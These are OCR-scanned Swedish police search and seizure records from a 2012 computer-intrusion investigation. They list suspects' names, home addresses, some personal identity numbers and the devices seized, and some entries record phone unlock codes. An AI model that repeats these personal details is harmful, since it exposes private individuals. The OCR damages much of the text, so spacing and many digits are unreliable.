Handläggande enhet 

LU/IT !T-forensisk sektion 

Föremålspunkter 

20 1 2-020 1 -BG8678-4 
Dator ( l  st) 

201 2-020 1 -BG8678 

Platsbeskrivning 

I rummet till höger från hallen räknat. 

Matildas rum. 

Anteckningar: Hårdisk med kablage, fabrikat okänt 

20 1 2-020 1 -BG8678-5 Platsbeskrivning 

Usb-minne ( 1 st) Anträffad i vardagsrummet. 

Märkning : IngergerdNinne 
Anteckningar: Kingston, 2 GB 

20 1 2-020 1 -BG8678-6 
Usb-minne ( l st) 

Anteckningar: Kingston 

Platsbeskrivning 

Anträffad i rummet till höger från 
ha111en räknat. Matildas rum. 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Annat avslut 

Anspråkstagare 

l st. 

Status 

Annat avslut 

Anspråkstagare 

l st. 

Status 

Annat avslut 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

20 12-020 1 -BG8678-7 
Mobiltelefon ( l st) 

Fabrikat : Apple 
Anteckningar: Med rött fodral 

Anträffad i rummet till höger från ahllen Annat avslut 
räknat. Matildas rum. 

Anspråkstagare 

l st. 
Modell : Iphone4 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Verkställd 
l Almrell "''"" 

Grunduppgifter för tvångsmedlet 

Plats för verkstälian 

Backe, Lars Mikael 

LGH 1 602 , Skogsru ndan 1 , 
Husrannsakan sker hos misstänkt 

Nej 

Beslutat av 

Ludvika 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 

Protoko l l  över 
h usran nsakan 

skogsru ndan 1 

Datum och tid för verkställighet 

20 1 2-03 -30 07 :00 

506 

Signerat av 
Robert Pock 

Signerat datum 
20 1 2-03 -30 

Diarienummer 
020 1 -K8 1 864- 1 2  

-

Personen hos vilken husrannsakan gjordes var närvarande 

Ja 

Verkställt av 

Pock, Robert (Länskriminalpolisen IT-forensiker 

Stockholm) 
Ponten, Johan (RKP IT-forensiker, Stockholm) 
Nordström, Tommy (RKP IT-forensiker, Stock-

h olm) 
Brott 

• Eftersökande av föremål som är underkastad be- 04 1 5  - Dataintrång 

slag 

Omfattning/direktiv 

Söka efter datorer och annan lagringsmedia. 

Övriga närvarande vid åtgärden 

Övriga uppgifter om verkställighet 

Beslag 

11 1 1 1 111 l 1 1111 1111 11 1 11 11 1 11111 1 1 1 11 1 11 111 
201 2-020 1 -BG8693 

Åtgärder 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Underrättelser m.m. 

Händelse 

Beslut fattat av Hemik Rasmusson. 

Signerat 

Protokol l  över 
h usran nsakan 

Skogsru ndan 1 

Utfört av 

Robert Pock 

Robert Pock 

Verkställd av Robert Pock, Johan Ponten och Tommy 
Nordström den 20 1 2-03-30 07 :00. 

Robert Pock 

Signerad Robert Pock 

Resulterade i Beslagsprotokoll: 20 1 2-020 1 -BG8693 . Robert Pock 

507 

Signerat av 
Robert Pock 

Signerat datorn 
20 1 2-03-30 

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum 

20 1 2-03-30 1 6 :09 

20 1 2-03-30 1 6 : 1 3  

20 1 2-03-30 1 6 : 1 3  

20 1 2-03-30 1 6 : 1 3  

20 1 2-03-30 1 6 : 1 7  



508 

Beslagsprotoko l l  
Skogsru ndan 1 Signerat av 

Polismyndighet 

Stockholms län 
Verkställande enhet ll l / l l l ll l ll llll l l/1 1 llll ll l ll ll l lllll l l l lllll l l l l ll ll l lll l/1 

Signerat datum 

LU/IT !T-forensisk sektion 201 2-020 1 -BG8693 Diarienummer 

Handläggande enhet 

LU/IT !T-forensisk sektion 

Misstänkt person 

Plats för verkstälian 

Backe, Lars Mikael 
LGH 1 602 , Skogsrundan l , Ludvika 
Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 
• Kan antagas ha betydelse för utredningen av 

brott 

Domstol för överklagan 

Falu Tingsrätt 

F öremålspunkter 

Platsbeskrivning 

020 1 -K8 1 864- 1 2  

Datum och klockslag för verkställighet 

20 12-03-30 07 :00 

Verkställt av 

Pock, Robert (Länskriminalpolisen IT-forensiker, 
Stockholm) 
Ponten, Johan (RKP IT-forensiker, Stockholm) 
Nordström, Tommy (RKP IT-forensiker, Stock
holm) 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Backe, Lars Mikael 

status 20 1 2-020 1 -BG8693 - l  
Dator ( l st) Stod i arbetsrum Utlämnad 

Fabrikat : Acer 
Modell : Aspire 

Anteckningar: midi-tower 

Platsbeskrivning 

Anspråkstagare 

l st. 
Typ : Stationär dator 

Status 20 1 2-020 1 -BG8693-2 

Mobiltelefon ( l st) Påträffades i vardagsrum Utlämnad 

Fabrikat : Samsung 

Anteckningar: Grafiskt lösenord 3 -2-4-7 

20 1 2-020 1 -BG8693-3 Platsbeskrivning 

Dvd-skiva ( l st) Ej uppmärkt 

Typ av skiva/band : D VD-skiva 
Anteckningar: TDK DVD-R 

Anspråkstagare 

l st. 
Modell : Samsung Galaxy S 

status 

Utlämnad 

Anspråkstagare 

l st. 
Titel : Omärkt 



509 

Beslagsprotoko l l  
skogsru ndan 1 Signerat av 

Polismyndighet 

Stockholms län 
11 1 1 1 1 1 1 1 1 11 1111 1 1111 1111 11 1111 1 11 11 1111 11 1 11 11 1 11111 1 1 1 11111 11 1 1 11 11 1 111 111 

Signerat datum 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG8693-4 
Bärbar dator ( l st) 

Fabrikat : Dell 

Modell : Vostro 1 520 

20 1 2-020 1 -888693 

Platsbeskrivning 

Påträffades i en blå träningsväska i 
hallen 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Utlämnad 

Anspråkstagare 

l st. 
Typ : Bärbar dator 

Anteckningar: Etikett med "L W9 1 8" .  lnkl. strömadapter. 

20 1 2-020 1 -BG8693-5 Platsbeskrivning Status 

Usb-minne ( 1 st) Påträffades i blå träningsväska i hallen. Utlämnad 

Anspråkstagare 

l st. 

Produkt : usb-minne Typ : USB minne 

Anteckningar: Märke : Maxell, 2 GB 

20 1 2-020 1 -BG8693-6 Platsbeskrivning Status 

Usb-minne ( 1 st) Satt fast i nyckelknippa på byrå i hallen. Utlämnad 

Typ : USB minne 
Anteckningar: vitt, okänt märke 

20 1 2-020 1 -BG8693-7 
Bärbar dator ( l st) 

Fabrikat : HP 
Modell : 550 

20 1 2-020 l -BG8693-8 
Usb-minne ( l st) 

Typ : USB minne 
Anteckningar: Stod DT 1 0 1 G2 på. 

Platsbeskrivning 

Stod lutad mot balkongvägg i 
sovrummet. 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 
Typ : Bärbar dator 

Platsbeskrivning 

Låg i ett pennfodral i en väska på 
sovrumsgolvet 

status 

Utlämnad 

Anspråkstagare 

l st. 



5 1 0 

Beslagsprotokol l 
skogsru ndan 1 Signerat av 

Polismyndighet 

Stockholms län 
Verkställande enhet 11 1 1 1 1 1 1 1 1 11 1111 1 11 11 1111 11 1 11 11 1 11111 1 11 11111 11 1 1 11 1 1 1 111 111 

Signerat datum 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG8693-9 
Mobiltelefon ( l st) 

Fabrikat : Samsung 
Anteckningar: Pin-kod: 78 1 3  

20 1 2-020 1 -BG8693- l O 
Bärbar dator ( l st) 

Fabrikat : HP 
Modell : Probook 6460B 

Anteckningar: Inkl. strömadapter 

20 1 2-020 1 -BG8693 - l l 
Router ( l st) 

Fabrikat : TP-LINK 

20 12-020 l -BG8693- 1 2  
Bärbar dator ( l st) 

Fabrikat : Acer 

Modell : Aspire 5738ZG 

Anteckningar: Inkl. strömadapter 

20 12-020 1 -BG8693 - 1 3  
Dator ( l  st) 

Fabrikat : Okänd 

201 2-0201 -888693 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning status 

Låg på laddning i sovrummet. Utlämnad 

Anspråkstagare 

l st. 
Modell : Samsung Galaxy S2 

Platsbeskrivning Status 

Låg på en stol i sovrummet. Utlämnad 

Anspråkstagare 

l st. 
Typ : Bärbar dator 

Platsbeskrivning 

Stod på en pall vid soffan i 
vardagsrummet. 

Produkt : Router 

Status 

Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

Låg på fotpall till fotölj i Utlämnad 
vardagsrummet. 

Anspråkstagare 

l st. 
Typ : Bärbar dator 

Platsbeskrivning 

Stod på golvet i vardagsrummet, ej 
inkopplad. 

status 

Utlämnad 

Anspråkstagare 

l st. 
Typ : Stationär dator 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG8693- 14  
Hårddisk ( l st) 

Fabrikat : Toshiba 
Anteckningar: Satt i trasig dator 

5 1 1 

Beslagsprotoko l l  
skogsru ndan 1 Signerat av 

llll llll ll l ll ll l lllll l ll lllll l l l l ll l l l lll lll 
Signerat datum 

201 2-020 1 -BG8693 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

Hårddisk från trasig dator som låg i byrå Utlämnad 
i vardagsrummet. 

Anspråkstagare 

l st. 



Polismyndighet 

Stockholms län 
Enhet 

Protoko l l  över 
h usran nsakan 

5 1 2 

Signerat av 
Robert Pock 

Signerat datum 
20 1 2-03-3 1 

Diarienummer 
LU/IT !T-forensisk sektion 020 1 -K8 1 864- 1 2  

Aktuell status 

Verkställd 
Misstänkt person 

Backe, Per Jonas Wilhelm 

Grunduppgifter fOr tvångsmedlet 

Plats för verkstälian Datum och tid för verkställighet 

Backe, Per Jonas Wilhelm 20 1 2-03-30 07 :00 

Särä ngsvägen 39 , Söderbärke 
-

Husrannsakan sker hos misstänkt Personen hos vilken husrannsakan gjordes var närvarande 

Ja Nej 

Beslutat av Verkställt av 

Rasmusson, Henrik, Kammaråklagare Didriksson, Dick, Kriminalinspektör 
Wahlström, Olle, Kriminalinspektör 

Pock, Robert, Utredningsassistent 

Ändamål med åtgärden Brott 

• Eftersökande av föremål som är underkastad be- 04 1 5  - Dataintrång 

slag 

Omfattning/direktiv 

Reell husrannsakan samt efter datorer och annan lagringsmedia. 

Övriga närvarande vid åtgärden 

Anna-Karin Johansson, mor til Jonas Backe 

Övriga uppgifter om verkställighet 

Beslag 

1/ l l l lll l llll ll llll l ll ll llll ll l ll ll l llll l ll l lll ll lll 
20 1 2-020 1 -BG8787 

Åtgärder 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Underrättelser m.m. 

Protokol l  över 
h usrannsakan 

Händelse Utfört av 

Beslut fattat av Henrik Rasmusson. Robert Pock 

Signerat Robert Pock 

Verkställd av Olle Wahlström, Robert Pock och Dick Did- Robert Pock 
riksson den 2012-03-30 07:00. 

Signerad Robert Pock 

Resulterade i Beslagsprotokoll: 20 1 2-020 1 -BG8787. Robert Pock 

5 1 3 

Signerat av 
Robert Pock 

Signerat datum 
20 1 2-03-3 1 

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum 

20 1 2-03-3 1 1 0 :42 

20 1 2-03-3 1 1 0:49 

20 1 2-03-3 1 1 0:49 

20 1 2-03-3 1 1 0 :49 

20 1 2-03-3 1 1 0 :53 



5 1 4  

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 11 1 1 1 1 11 1111 1 111 1 1111 11 1111 1 Il Il 1111 11 1 11 11 1 1111 11 1 11 1111 1 1 1 1 11 1 11 111 III Signerat datum 
Verkställande enhet 201 2-020 1 -BG8787 
LU/IT !T-forensisk sektion Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Backe, Per Jonas Wilhelm, 1 9930528- 1 6 1 1 
Plats för verkstälian 

Backe, Per Jonas Wilhelm 
Särängsvägen 39 , Söderbärke 
Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 

Datum och klockslag för verkställighet 

20 1 2-03 -30 07 :00 

Verkställt av 

Didriksson, Dick, Kriminalinspektör 
Wahlström, Olle, Kriminalinspektör 
Pock, Robert, Utredningsassistent 

Brott 
• Kan antagas ha betydelse for utredningen av 

brott 
04 1 5  - Dataintrång 

Domstol för överklagan 

Falu Tingsrätt 

F öremålspunkter 

20 1 2-020 1 -BG8787- 1 
Mobiltelefon ( l st) 

Fabrikat : Nokia 

20 1 2-020 1 -BG8787-2 
Mobiltelefon ( l st) 

Fabrikat : Son y Ericsson 

20 1 2-020 1 -BG8787-3 
Cd-skiva ( l st) 

Typ av skiva/band : Cd-skiva 

20 1 2-020 1 -BG8787-4 
Cd-skiva ( l st) 

Typ av skiva/band : Cd-skiva 
Anteckningar: Tillverkare : Philips 

Beslag taget från 

Backe, Per Jonas Wilhelm 

Platsbeskrivning Status 

Låg på skrivbord i Jonas Backes rum. Fastställd 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Låg på skrivbord i Jonas backes rum. Fastställd 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Låg på skrivbord under bok. Fastställd 

Anspråkstagare 

O st. 
Titel : Ej uppmärkt 

Platsbeskrivning Status 

Låg på hyllan ovanför skrivbord i Jonas Fastställd 

Backes rum. 
Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG8787-5 
Cd-skiva ( l st) 

Typ av skiva/band : Cd-skiva 

Beslagsprotoko l l  

11 1 1 1 1 1 1 1 1 11 11 1111 1 1 1 11 1111 11 1 11 11 1 1111 11 1 11 1111 1 1 1 1 11 1 11 111 111 
201 2-0201 -BG8787 

Platsbeskrivning 

Låg på hylla ovanför skrivbord i Jonas 
Backes rum. 

Anteckningar: Tillverkare : Philips 

5 1 5 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Fastställd 

Anspråkstagare 

O st. 



5 1 6 

Polismyndighet 

Stockholms län 

Protokol l  över 
h usran nsakan 

Signerat av 
John G Steenmark 

Signerat datum 
20 1 2-04-02 

Enhet 

LU/S Specialbrottsektion 
Diarienummer 

020 1 -K8 1 864- 1 2  
Aktuell status 

Verkställd 
Misstänkt person 

Lagergren, Konrad Lars Ove 

Grunduppgifter för tvångsmedlet 

Plats för verkstälian Datum och tid för verkställighet 

Bostadshus i området Bäsna , stensvedsvägen 7 ' 20 1 2-03-30 08 :50  
Borlänge 

-

Husrannsakan sker hos misstänkt Personen hos vilken husrannsakan gjordes var närvarande 

Ja Nej 
Beslutat av Verkställt av 

Rasmusson, Henrik, Kammaråklagare Wisdahl, Claes, Kriminalinspektör 
Steenmark, John G, Kriminalinspektör 
Haglund, Anders (RKP/ ITforensiker, Stockholm) 

Ändamål med åtgärden Brott 
• Utröna omständigheter som kan ha betydelse för 04 1 5  - Dataintrång 

utredning om brott 
• Eftersökande av föremål som är underkastad be-

slag 

Omfattning/direktiv 

Reell husranssakan 

Övriga närvarande vid åtgärden 

Övriga uppgifter om verkställighet 

Beslag 

11 1 1 1 111 1 1111 11 1111 1 Il Il 1111 11 1 11 11 1 1111111 11 1 111 111 
201 2-020 1 -BG89 1 9 

Åtgärder 



Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 

Underrättelser m.m. 

Protokol l  över 
h usrannsakan 

Händelse Utfört av 

Beslut fattat av Henrik Rasmusson. John G Steenmark 

Signerat John G Steenmark 

Verkställd av John G Steenmark, Claes Wisdahl och Anders John G Steenmark 
Haglund den 20 1 2-03-30 08 :50 .  

Signerad John G Steenmark 

Resulterade i Beslagsprotokoll: 20 1 2-020 1 -BG89 1 9 . John G Steenmark 

5 1 7 

Signerat av 
John G steenmark 

Signerat datum 
20 1 2-04-02 

Diarienummer 
020 l -K8 1 864- 1 2  

Datum 

20 1 2-04-02 1 2 :53 

20 1 2-04-02 1 2 :57  

20 1 2-04-02 12 :57  

20 1 2-04-02 1 2 :57 

20 1 2-04-02 1 3 :09 



5 1 8 

Beslagsprotoko l l  
stensvedsvägen Signerat av 

Polismyndighet 

Stockholms län Signerat datum 
Verkställande enhet 

LU/S Specialbrottsektion 201 2-0201 -BG89 1 9 Diarienummer 

Handläggande enhet 

LU/IT !T-forensisk sektion 

Misstänkt person 

Lagergren, Konrad Lars Ove, 1 9  5 3 1 1 1 2-7 1 3  7 
Plats för verkstälian 

Bostadshus i området Bäsna , stensvedsvägen 7 , 
Borlänge 
Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 
• Kan antagas ha betydelse för utredningen av 

brott 

Domstol för överklagan 

Falu Tingsrätt 

Föremålspunkter 

20 12-020 1 -BG89 1 9- l  
Digitalkamera ( l st) 

Fabrikat : Nikon 

Platsbeskrivning 

Köksbänk 

Platsbeskrivning 

020 1 -K8 1 864- 1 2  

Datum och klockslag för verkställighet 

20 1 2-03 -30 08 :50 

Verkställt av 

Wisdahl, Claes, Kriminalinspektör 
Steenmark, John G, Kriminalinspektör 

Haglund, Anders (RKP/ ITforensiker, Stockholm) 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Lagergren, Konrad Lars Ove 

Status 

Utlämnad 

Anspråkstagare 

l st. 
Modell : 2 1 00 

Status 20 12-020 1 -BG89 1 9-2 
Minneskort ( l st) Övre högra hurtsen i arbetsrummet Utlämnad 

Fabrikat : N ikon 

Modell : 8 mb 

20 1 2-020 l -BG89 1 9-3 

Simkortsram ( l st) 

Märkning : Telia 

20 1 2-020 l -BG89 1 9-4 
Dokument med sifferkod ( l st) 

Anspråkstagare 

l st. 
Typ : CompactFlash Card 

Platsbeskrivning Status 

Högra hurtsen i arbetsrummet Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

Övre högra hurtsen i arbetsrummet Utlämnad 

Anspråkstagare 

l st. 
Anteckningar: dokument med sifferkod 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/S Specialbrottsektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 l -BG89 1 9-5 
Post-it lappar ( l st) 

Beslagsprotoko l l  
stensvedsvägen 

11 11 1 1111111 11 1111 1 1 1 1 11 11 1111 111 
20 1 2-020 1 -BG89 1 9  

Platsbeskrivning 

Övre högra hurtsen i arbetsrummet 

Anteckningar: Post-it lappar, datorrelaterade 

20 1 2-020 1 -BG89 1 9-6 
Platsbeskrivning 

Cd-skiva ( 2 st) 
Sovrum övre plan, garderob överskåp 
längst till vänster. 

Typ av skiva/band : Cd-skiva 

20 12-020 1 -BG89 1 9-7 Platsbeskrivning 

Dokument ( l st) Me111an högra hurtsen i arbetsrum 

Anteckningar: Dokument datorrelaterade 

20 1 2-020 1 -BG89 1 9-8 Platsbeskrivning 

Dokument ( l st) Kökslåda 2 :a  uppifrån. 

Anteckningar: Dokument datorrelaterade 

20 1 2-020 1 -BG89 1 9-9 
Platsbeskrivning 

Dokument ( l  st) 
På skrivbordet i arbetsrummet till höger 
om skärmen 

Anteckningar: Dokument datorrelaterade 

20 1 2-020 l -BG89 1 9- l  O 
Platsbeskrivning 

Cd-skivor ( 5 st) 
skrivbord arbetsrum till höger om 
skärmen 

Typ av skiva/band : Cd-skiva 

20 12-020 1 -BG89 1 9- l l 
Platsbeskrivning 

Anteckningsböcker ( 2 st) 
På skrivbord i arbetsrum till höger om 
skärmen 

5 1 9 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 



Beslagsprotoko l l  
stensvedsvägen 

Polismyndighet 

Stockholms län 
Verkställande enhet 11 1 1 11 1 11 1 11 1111 1 1111 1111 11 1111 1 11 11 1111 11 1 11 11 1 11 1 1 11 11 1111 111 
LU/S Specialbrottsektion 201 2-020 1 -BG89 1 9  

Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG89 1 9- 1 2  Platsbeskrivning 

Dator ( l  st) På skrivbord i arbetsrummmet 

Anteckningar: Dator stationär ej inkopplad 

Platsbeskrivning 
20 1 2-020 l -BG89 1 9- 1 3  

På skrivbordet i arbetsrummet vänster 
Dokument ( l  st) 

om skärmen 

Anteckningar: DAtorrelaterade dokument 

Platsbeskrivning 
20 12-020 1 -BG89 1 9- 1 4  

övre hurtslåda under skrivbord i hurts 
Mobiltelefon ( l st) 

till vänster om skärm i arbetsrum 

Fabrikat : Sony Ericsson Modell : S600i 

Platsbeskrivning 
20 12-020 1 -BG89 1 9- 1 5  

övre hurtslådaunder skrivbord i hurts till 
Hårddisk ( l st) 

vänster om skärm i arbetsrum 

Typ : Hårddisk 
Anteckningar: Hitachi 6,4 GB 

Platsbeskrivning 
20 1 2-020 1 -BG89 1 9- 1 6  

övre hurtslådaunder skrivbord i hurts till 
Pcmcia kort ( l st) 

vänster om skärm i arbetsrum 

Anteckningar: Pcmcia kort Reflex 20 

Platsbeskrivning 
20 1 2-020 1 -BG89 1 9- 1 7  

övre hurtslådaunder skrivbord i hurts till 
Diskett ( l st) 

vänster om skärm i arbetsrum 

Typ : Diskett 
Anteckningar: Fuji  

520 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

-

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/S Specialbrottsektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG89 1 9- 1 8  
Diskett ( l st) 

Fabrikat : Microsoft 

20 1 2-020 1 -BG89 1 9- 1 9  
Diskett ( l st) 

Anteckningar: Basf 

20 1 2-020 1 -BG89 1 9-20 
Usb-minne ( l st) 

52 1 

Beslagsprotoko l l  
stensvedsvägen Signerat av 

ll l l ll l ll l ll llll l lll l llllll llll l ll ll llllll l ll ll l  l ll l l l l ll llll lll 
Signerat datum 

201 2-0201 -8889 1 9  Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

övre hurtslådaunder skrivbord i hurts till Utlämnad 

vänster om skärm i arbetsrum 
Anspråkstagare 

l st. 

Platsbeskrivning Status 

övre hurtslådaunder skrivbord i hurts till Utlämnad 
vänster om skärm i arbetsrum 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

övre hurtslådaunder skrivbord i hurts till Utlämnad 
vänster om skärm i arbetsrum 

Anspråkstagare 

l st. 
Anteckningar: San Disk Cruzer 1 6  GB 

20 1 2-020 1 -BG89 1 9-2 1  
Mobilt bredband ( l st) 

Fabrikat : Huawei 

20 1 2-020 l -BG89 1 9-22 

Dokument ( l st) 

20 1 2-020 1 -BG89 1 9-23 
Cd-skivor ( 2 st) 

Typ av skiva/band : Cd-skiva 

20 1 2-020 1 -BG89 1 9-24 
Disketter ( 8 st) 

Platsbeskrivning 

övre hurtslådaunder skrivbord i hurts till 
vänster om skärm i arbetsrum 

Modell : E l 750 

Platsbeskrivning 

övre hurtslåda under skrivbord i hurts 
till vänster om skärm i arbetsrum 

Platsbeskrivning 

På skrivbord under skärm i arbetsrum 

Platsbeskrivning 

Mellersta hurtslåda under skrivbord till 
vänster om skärm i arbetsrum 

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/S Specialbrottsektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG89 1 9-25 
Cd-skiva ( 2 st) 

Typ av skiva/band : Cd-skiva 

20 12-020 1 -BG89 1 9-26 
Data band ( l st) 

Anteckningar: Databand 

20 12-020 1 -BG89 1 9-27 
Mobilt bredband ( l st) 

Anteckningar: Option 

20 12-020 1 -BG89 1 9-28 
Disketter ( 4 st) 

20 1 2-020 l -BG89 1 9-29 
Cd-skivor ( 1 8  st) 

Anteckningar: i fodral 

20 1 2-020 l -BG89 1 9-30 
Dokument ( l st) 

Beslagsprotoko l l  
stensvedsvägen 

11 1 1 1 1 1 1 1 1 1111 11 1 11 11 1 1111111 11 1111 11 1 1 11 11 1111 111 
20 1 2-020 1 -BG891 9 

Platsbeskrivning 

Mellersta hurtslåda unders skrivbord till 
vänster om skärm i arbetsrum 

Platsbeskrivning 

Mellersta hurtslåda unders skrivbord till 
vänster om skärm i arbetsrum 

Platsbeskrivning 

Mellersta hurtslåda unders skrivbord till 
vänster om skärm i arbetsrum 

Platsbeskrivning 

Mellersta hurtslåda unders skrivbord till 
vänster om skärm i arbetsrum 

Platsbeskrivning 

Nedre hurtslåda unders skrivbord till 

vänster om skärm i arbetsrum 

Platsbeskrivning 

Nedre hurtslåda unders skrivbord till 

vänster om skärm i arbetsrum 

Anteckningar: Dokument datorrelaterade 

522 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/S Specialbrottsektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG89 1 9-3 1 
Dokument ( l  st) 

Beslagsprotoko l l  
stensvedsvägen 

llll llll ll l ll ll l lllllll ll llll l l l l l l ll llll lll 
201 2-020 1 -BG89 1 9  

Platsbeskrivning 

Papperskorg under skrivbord i 
arbetsrum 

Anteckningar: Dokument datorrelaterade 

20 1 2-020 1 -BG89 1 9-32 
Cd-skiva ( 4 st) 

Typ av skiva/band : Cd-skiva 

20 1 2-020 1 -BG89 1 9-33 
Cd-skivor ( 8 st) 

Platsbeskrivning 

På bokhylla fristående i arbetsrum 

Platsbeskrivning 

På bokhylla fristående i arbetsrum 

Anteckningar: 4 i fodral 4 på spindel 

523 

Signerat av 

Signerat datum 

Diarienummer 
020 l -K8 1 864- 1 2  

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 



524 

Signerat av 
Bes lut om h usran nsakan  

Polismyndighet 

Stockholms län 
Enhet 

LU/SF Förmögenhetsgrupp 

Aktuell status 

Beslutad 
Misstänkt person 

Bergström, Lisa Viktoria Theres 

Grunduppgifter för tvångsmedlet 

Plats för verkstälian 

Ti m mermansvägen 1 4  , Ludvika 
Husrannsakan sker hos misstänkt 

Nej 

Beslutat av 

Rasmusson, Henrik, Kammaråklagare 
Ändamål med åtgärden 
• Utröna omständigheter som kan ha betydelse för 

utredning om brott 
• Eftersökande av föremål som är underkastad be-

slag 
• Eftersökande av person 

Omfattning/direktiv 

Övriga närvarande vid åtgärden 

Övriga uppgifter om verkställighet 

Beslag 

Nej 

Åtgärder 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum och tid för verkställighet 

-

Personen hos vilken husrannsakan gjordes var närvarande 

Verkställt av 

Brott 

04 1 5  - Dataintrång 



525 

Signerat av Protokol l  över 
h usran nsakan 

Joakim Noren 

Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Aktuell status 

Verkställd 
Misstänkt person 

Gustafsson, Bror Olof Mathias 

Grunduppgifter för tvångsmedlet 

Plats för verkstälian 

Timmermansvägen 14  I , Ludvika 
Husrannsakan sker hos misstänkt 

Ja 

Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 
• Utröna omständigheter som kan ha betydelse för 

utredning om brott 
• Eftersökande av föremål som är underkastad be-

slag 
• Eftersökande av person 

Omfattning/direktiv 

Signerat datum 
20 1 2-04- 1 7  

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum och tid för verkställighet 

20 1 2-04- 1 5  07 :06 
Personen hos vilken husrannsakan gjordes var närvarande 

Ja 

Verkställt av 

Wahlström, Olle, Kriminalinspektör 
Persson, Joakim, Assistent 
Steenmark, John G, Kriminalinspektör 
Starck, Krister, Polisinspektör 
Noren, Joakim, Utredningsassistent 

Brott 

04 1 5  - Dataintrång 

Misstänkt i ärendet är även Bergström, Lisa, 1 99 1 0506- 1 304, boende på samma adress.  
Övriga närvarande vid åtgärden 

Övriga uppgifter om verkställighet 

Beslag 

ll l l l lll l llllll llll l ll ll llll ll l ll ll l l l lllll l lll l l l l l lll 
20 1 2-020 1 -BG 1 022 1 

Åtgärder 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Underrättelser m.m. 

Protoko l l  över 
h usra n nsakan 

Händelse Utfört av 

Beslut fattat av Henrik Rasmusson. Joakim Noren 

Signerat Joakim Noren 

